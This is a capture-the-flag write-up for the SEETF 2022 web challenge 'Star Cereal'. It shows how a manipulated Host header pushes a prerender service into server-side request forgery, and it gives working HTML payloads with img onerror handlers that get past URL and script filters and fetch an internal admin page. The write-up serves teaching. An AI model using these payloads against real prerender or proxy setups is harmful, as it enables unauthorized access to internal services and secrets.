Star Cereal
In SEETF 2022, 991 points
The Star Cereal has returned! This time with impenetrable security. You're never getting my cereal!
http://starcereal.chall.seetf.sg:10004
MD5: 7c990f8e301da8cdf544af595ce62e24
Challenge files: web_star_cereal.zip
Introduction
The challenge consists of 3 services:
- app: A php application (the actual website)
- prerender: A node application (renders app in chrome)
- proxy: Nginx reverse proxy (routes requests to either of the above services)
Here's the relevant nginx config:
location @prerender {
proxy_set_header X-Real-IP $remote_addr;
# Do or do not, there is no flag.
proxy_set_header Accept-Encoding "";
subs_filter_types text/html text/css text/xml;
subs_filter "SEE{.*}" "SEE{NO_FLAG_FOR_YOU_MUAHAHAHA}" ir;
# https://gist.github.com/thoop/8165802
set $prerender 0;
if ($http_user_agent ~* "googlebot| <other bot UAs here>") {
set $prerender 1;
}
# unimportant bits redacted
if ($prerender = 1) {
rewrite .* /$scheme://$host$request_uri? break;
proxy_pass http://prerender:3000;
}
if ($prerender = 0) {
proxy_pass http://app:80;
}
}
Many apps are rendered client side using JavaScript, thus the initial HTML sent to the browser is not representative of the final app's content. Therefore, for SEO purposes, apps may use a prerender to load the app in chrome and execute any JavaScript to load data before presenting the page to the crawler bot. We can trigger this behavior by setting the user agent header to googlebot
.
The requested URL is passed to the prerender bot by appending it as the path of the URL. For example, requests to http://example.com/xxx
will be rewritten to http://prerender:3000/http://example.com/xxx
. This is constructed using the $host
nginx variable, which is derived from the attacker-controlled Host
header. This means we can get the prerender service to render (almost) any URL by manipulating the Host
header. However, there are some restrictions as we will see later.
Additionally, subs_filter "SEE{.*}" "SEE{NO_FLAG_FOR_YOU_MUAHAHAHA}" ir;
causes nginx to filter out the flag. Thus we will probably need to encode the flag to evade this filter.
App
The only file of interest here is login.php
:
<?php
if (!in_array($_SERVER['HTTP_X_REAL_IP'], ['127.0.0.1', gethostbyname('proxy'), gethostname('prerender')]))
{
header('HTTP/1.0 403 Forbidden');
die('<h1>Forbidden</h1><p>Only admins allowed to login.</p>');
}
echo getenv("FLAG");
?>
We can obtain the flag if we can send requests from the prerender service.
Prerender
However, the prerender service implements several checks to prevent malicious use.
const validateUrls = (req, res, next) => {
let matches = url.parse(req.prerender.url).href.match(/^(http:\/\/|https:\/\/)app/gi)
if (!matches) {
return res.send(403, 'NO_FLAG_FOR_YOU_MUAHAHAHA');
}
next();
}
The URL must start with http://app
or https://app
. This is trivially bypassed using http://[email protected]
.
Additionally:
const noScriptsPlease = (req, res, next) => {
var matches = req.prerender.content.toString().match(/<script(?:.*?)>(?:[\S\s]*?)<\/script>/gi);
if (matches)
return res.send(403, 'NO_FLAG_FOR_YOU_MUAHAHAHA');
next();
}
The response is blocked if it contains script tags. This is also trivially bypassed using <img src='' onerror=js>
.
At this point it seems all the mitigations is bypassed, so I was pretty confident about solving this quickly.
Exploitation
Exploit plan:
- Send request with User-Agent=googlebot to trigger prerender, set [email protected]
- Prerender loads mysite.com in chrome
- mysite.com contains an
img
tag that will execute code to fetchhttp://app/login.php
Oh wait
Step 3 doesn't work because we are making a cross origin request, from http://mysite.com
to http://app
. Hmm.
It would be pretty hard to get code execution on http://app
, so I looked at http://prerender
instead. We are actually able to control the contents of http://prerender
by passing it a URL we control. The contents of the rendered page will then be sent to the browser. Notably, at this point, the browser renders the page contents under the http://prerender
origin. Essentially, the contents have been rendered twice, once using the original page's origin and once under http://prerender
.
By redirecting to http://prerender/http://[email protected]/page2.html
in step 3 above, the prerender service will grab http://[email protected]/page2.html
, render it and return the rendered contents as a response to http://prerender/http://[email protected]/page2.html
.
From here, we can perform a same origin request to http://prerender/http://app/login.php
to obtain the flag.
Exploit code
Page1.html: Redirects to a URL that loads page2.html under the http://prerender
origin, enabling requests to http://prerender
<body>
<img src="" onerror="location.href='http://localhost:3000/http://[email protected]/cereal/page2.html'">
</body>
Page2.html: Loaded on http://prerender
, fetch flag:
<body>
<div id="out"></div>
<img src="" onerror="fetch('/http://app/login.php').then(r=>r.text())
.then(r=>document.getElementById('out').innerText=btoa(r))">
</body>
Sending the request in burp:
Decoding the base64, we obtain the flag:
<!DOCTYPE html><html lang="en"><head></head><body>
<div>
<p> Welcome back, admin! </p><p>
</p><p> Here's your cereal. </p>
<img src="images/cereal.jpg" alt="Cereal" width="200" height="200">
<p> And your flag: SEE{1_c4n't_b3li3v3_1_k33p_g3tt1ng_h4cked!} </p>
</div>
</body></html>